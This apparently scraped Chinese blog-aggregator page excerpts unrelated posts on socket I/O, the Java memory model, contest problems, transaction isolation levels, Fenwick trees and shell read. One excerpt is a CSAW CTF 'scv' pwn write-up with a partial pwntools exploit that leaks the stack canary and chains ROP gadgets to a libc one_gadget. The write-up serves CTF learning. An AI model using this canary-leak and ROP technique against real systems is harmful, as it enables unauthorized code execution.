read

read、write 与recv、send区别 gethostname

社会主义新天地 提交于 2019-11-30 23:51:08
recv相对于read有什么区别呢? 其实它跟read函数功能一样,都可以从套接口缓冲区sockfd中取数据到buf,但是recv仅仅只能够用于套接口IO,并不能用于文件IO以及其它的IO,而read函数可以用于任何的IO; recv函数相比read函数多了一个flags参数,通过这个参数可以指定接收的行为,比较有用的两个选项是: 这个这次要学习的,它可以接收缓冲区中的数据,但是并不从缓冲区中清除,这是跟read函数有区别的地方,read函数一旦读取了,就会直接从缓冲区中清除。 readline实现 也就是实现按行读取,读取直到\n字符,实际上,它也能解决上节中提到的粘包问题,回顾下上节的粘包问题解决方案: 包尾加\r\n(ftp) 我们只要解释\n为止,表示前面是一个条合法的消息,对于readline的实现,可以有三种方案: ①、最简单的方案就是一个字符一个字符的读取,然后做判断是否有"\n",但是这种效率比较低,因为会多次掉用read或recv系统函数。 ②、用一个static变量保存接收到的数据进行缓存,在下次时从这个缓存变量中读取然后估"\n"判断。但是一旦用到了static变量,这意味着用到的函数是 不可重录函数【关于这个概念,可以参考博文:http://www.cnblogs.com/webor2006/p/3744002.html】 。 ③、偷窥的方法

浅谈Java的内存模型以及交互

北战南征 提交于 2019-11-30 23:50:25
本文的内存模型只写虚拟机内存模型,物理机的不予描述。 Java内存模型   在Java中,虚拟机将运行时区域分成6中,如下图:      程序计数器: 用来记录当前线程执行到哪一步操作。在多线程轮换的模式中,当当前线程时间片用完的时候记录当前操作到哪一步,重新获得时间片时根据此记录来恢复之前的操作。 虚拟机栈: 这就是我们平时所说的栈了,一般用来储存局部变量表、操作数表、动态链接等。 本地方法栈: 这是另一个栈,用来提供虚拟机中用到的本地服务,像线程中的start方法,JUC包里经常使用的CAS等方法都是从这来的。 堆: 主要的储存区域,平时所创建的对象都是放在这个区域。其内部还分为新生代、老年代和永久代(也就是方法区,在Java8之后删除了),新生代又分为两块Survivor和一块Eden,平时创建的对象其实都是在Eden区创建的,不过这些之后再跟垃圾回收器写在一篇文章。 方法区: 储存符号引用、被JVM加载的类信息、静态变量的地方。在Java8之后方法区被移除,使用元空间来存放类信息,常量池和其他东西被移到堆中(其实在7的时候常量池和静态变量就已经被移到堆中),不再有永久代一说。删除的原因大致如下: 容易造成内存溢出或内存泄漏,例如 web开发中JSP页面较多的情况。 由于类和方法的信息难以确定,不好设定大小,太大则影响年老代,太小容易内存溢出。 GC不好处理,回收效率低下

多校联测20191009test

♀尐吖头ヾ 提交于 2019-11-30 23:28:26
题目: 1 文体两开花 1.1 题目描述 众所周知,小 G 擅长文体两开花。 现在小 G 手中拿到了一棵树,这棵树的每个节点上都有一个非负整数权值 val i 。 为了展现自己深不可测的开花功底,小 G 会对这棵树进行一系列操作,具体表现为修改某个节点 x 的权值。在每次修改之后,小 G 想要你告诉他,所有与节点 x 距离不超过 2 的所有节点的权值异或和是 多少。 1.2 输入格式 从文件 blossom.in 中读入数据。 输入数据第一行包含两个正整数 n,q ,表示树的节点数以及修改 / 询问次数。 第一行 n 个空格隔开的正整数 val i ,表示每个点的权值。 接下来 n~ 1 行,每行两个正整数 x,y ,表示一条树边 ( x,y ) 。 接下来 q 行,每行两个整数 x,v ,表示将节点 x 的权值修改成 v 。 1.3 输出格式 输出到文件 blossom.out 中。 为避免输出过量,记第 i 次询问的答案为 ans i ,你只需要输出 ∑( q) i =1 ans i × i 2 对 10 9 +7 取模的结 果即可。 1.4 样例 1 输入 5 3 1 2 3 4 5 1 2 1 3 2 4 2 5 3 6 4 7 5 8 1.5 样例 1 输出 117 1.6 样例 1 解释 3 次询问对应的答案分别为 5 , 1 , 12 。 对于 30 % 的数据, 1

题解 CF1097F 【Alex and a TV Show】

谁都会走 提交于 2019-11-30 23:17:50
妙妙题…… 这道题这要求%2的个数,肯定有什么性质 于是我们想到了用 \(bitset\) 来处理 由于三操作有 \(gcd\) , 于是我们又想到用反演来解决 我们回忆一下反演的柿子 设 \(f(x)\) 为x出现了多少次, \(F(x)\) 为x的倍数出现了多少次 \[F(d) = \sum_{d|x}f(x)\] 跟据反演,我们有: \[f(x) = \sum_{x |d}F(d) * \mu(\frac{d}{x})\] 我们要求的数即为 \(f(v)\) 由于 \(\mu\) 的取值只有 \(-1, 0, 1\) ,在膜二意义下只有 \(0, 1\) 我们用 \(a[x][y]\) 表示 \(x\) 集合内的y即y的倍数出现了多少次( \(F(y)\) ),再用 \(u[x][y]\) 表示 \(\mu(\frac{y}{x})\) ,我们要求的 \(f(v) = a[x]\&u[v]\) 再来重新考虑所有操作: 对于1操作,预处理出每一个v的所有约数的 \(bitset\) ,赋值即可 对于2操作,直接用 \(a[x]=a[y]^a[z]\) 即可 对于3操作, \(a[x] = a[y]\&a[z]\) 对于4操作,用上述方法求出 \(bitset\) 后的 \(1\) 的数量 \(Code:\) #include<bits/stdc++.h> using

事务4种隔离级别分析

柔情痞子 提交于 2019-11-30 19:16:52
数据库在并发的情况下,可能会出现脏读、不可重复读、幻读等问题。为了避免以上问题,数据库事务增加隔离级别,来保证数据的准确性。隔离级别从低到高有4个级别:未提交读(Read uncommitted)、提交读(Read committed)、可重复读(Repeatable read)、序列化(Serializable) 。 一、并发问题 1、 脏读 事务T1正在操作一条数据,此时事务T2获取该条数据纪录,如果T1异常,事务回滚,T2读取到的数据就是脏数据,这种现象称为脏读。 2、 不可重复读 事务T1多次读取某条记录,在读取间隔中,事务T2更新了该技术的数据,当T1再次读取该记录时,获取到的数据不一致,这种现象称为不可重复读。 产生的原因主要是数据的更新 。 3、幻读 事务T1批量处理多条记录,此时事务T2新增或删除了一条或多条记录,当T1处理完成,查询处理结果,会发现有记录没有处理(T2新增的)或者发现记录少了(T2删除的),会有一种幻觉的感觉,这种现象称为幻读。 主要是数据的新增或删除导致。 二、隔离级别 1、 未提交读(Read uncommitted) ①定义:就是一个事务读取到其他事务未提交的数据,是级别最低的隔离机制。 ②缺点:会产生脏读、不可重复读、幻读。 ③案例解读:以前交易所炒股的时候,股民老王购买了5000股,操作员操作录入(此时开启事务),操作时手误

luoguP3431 [POI2005]AUT-The Bus

僤鯓⒐⒋嵵緔 提交于 2019-11-30 16:56:07
安利系列博文 https://www.cnblogs.com/tyner/p/11565348.html https://www.cnblogs.com/tyner/p/11605073.html 做个小总结 树状数组二维数点的特征 : 矩阵(假设x轴从左到右,y轴从下到上) 是树状数组可以维护的 能用 树状数组 的要求 : 维护的东西 要有 前缀性 (说人话:比如我们平常用它来维护的 前缀和 ,就有前缀性 (这不是废话么 , 如果是求 任意区间的信息 ,它要有 可减性 (因为我们是运用前缀性求得的任意区间)(说人话:我们求区间[l,r]的和,用[1, r]减去[1, l-1]的信息即可 https://www.luogu.org/problem/P3431 可是这题是要维护的是 max , 即 二维数max ,这 max 和 min 一样,都 木有可减性 所以树状数组 本来是不支持修改和维护max(min)的 但这题的 每次修改都只会使原值越来越大(越来越小),所以才可以套用,来维护max(min) #include<cstdio> #include<algorithm> using namespace std; int read() { char ch = getchar(); int f=1, x=0; while(ch<'0' || ch>'9') {if(ch=='-')

数据库事务的四大特性以及事务的隔离级别

我的梦境 提交于 2019-11-30 16:46:32
本篇讲诉数据库中事务的四大特性(ACID),并且将会详细地说明事务的隔离级别。   如果一个数据库声称支持事务的操作,那么该数据库必须要具备以下四个特性: ⑴ 原子性(Atomicity)   原子性是指事务包含的所有操作要么全部成功,要么全部失败回滚,这和前面两篇博客介绍事务的功能是一样的概念,因此事务的操作如果成功就必须要完全应用到数据库,如果操作失败则不能对数据库有任何影响。 ⑵ 一致性(Consistency)   一致性是指事务必须使数据库从一个一致性状态变换到另一个一致性状态,也就是说一个事务执行之前和执行之后都必须处于一致性状态。   拿转账来说,假设用户A和用户B两者的钱加起来一共是5000,那么不管A和B之间如何转账,转几次账,事务结束后两个用户的钱相加起来应该还得是5000,这就是事务的一致性。 ⑶ 隔离性(Isolation)   隔离性是当多个用户并发访问数据库时,比如操作同一张表时,数据库为每一个用户开启的事务,不能被其他事务的操作所干扰,多个并发事务之间要相互隔离。   即要达到这么一种效果:对于任意两个并发的事务T1和T2,在事务T1看来,T2要么在T1开始之前就已经结束,要么在T1结束之后才开始,这样每个事务都感觉不到有其他事务在并发地执行。   关于事务的隔离性数据库提供了多种隔离级别,稍后会介绍到。 ⑷ 持久性(Durability)  

CSAW Quals CTF 2017-scv

两盒软妹~` 提交于 2019-11-30 16:19:36
目录 程序基本信息 程序漏洞 整体思路 exp脚本 内容参考 程序基本信息 64位动态链接程序,开启了栈溢出和数据段不可执行保护 程序漏洞 read函数很明显的栈溢出漏洞 整体思路 由于题目给了libc,我们可以使用one_gadget获得gadget在libc中的偏移,通过泄露其他函数库的偏移计算gadget在内存中的位置。由于程序中有栈溢出保护,我们可以利用功能2,功能2的作用是puts打印我们输入的字符串,我们可以利用功能2将canary泄露出来,这样我们就可以进行栈溢出了,后面的步骤就简单了,利用rop技术即可pwn掉程序。 exp脚本 #!/usr/bin/python #coding:utf-8 from pwn import * context.update(os = 'linux', arch = 'amd64') io = remote('172.17.0.2', 10001) pop_rdi = 0x400ea3 #pop rdi;ret puts_plt = 0x4008d0 #puts函数plt表地址 read_got = 0x602030 #read函数got表地址 start = 0x4009a0 #start函数首地址 io.sendline('1') io.send('A'*164+'ABCDE')

shell --Day 6

橙三吉。 提交于 2019-11-30 13:31:32
脚本参数交互与for语句循环 1、脚本参数交互 $n $1 $2 ...${10} ${11}...//传参,通过这些传参我们可以将相关的参数输入到脚本中去。 read命令实现脚本参数输入: read语句可以多个参数同时输入,如果变量个数多于输入的数值,就把最后多余的数值赋值给最后一个变量。 例:read a b c [root@lsl ~]# read a b c 1、-p可以指定输入提示文本 [root@lsl ~]# vi b.sh #!/bin/bash # read -p "请输入要查看的内容:" a echo $a 2、设置超时时间 [root@lsl ~]# vi b.sh #!/bin/bash # read -t 5 -p "请输入要查看的内容:" a //设置超时时间为5s,5s后自动退出 echo $a 此时未输入任何内容,5s后退出。 3、需要给read指定的变量,提供默认值 [$? -eq 0] && exit 0 || exit 1 练习:输入一个设备文件,输出这个设备文件的基本信息 #!/bin/bash # cat << EOF 请输入正确的信息如:sda |sdb|sda1 EOF read -t 5 -p "请输入设备文件名:" DiskName [ ! $? -eq 0 ] && echo "请输入正确的信息" && exit 1 if [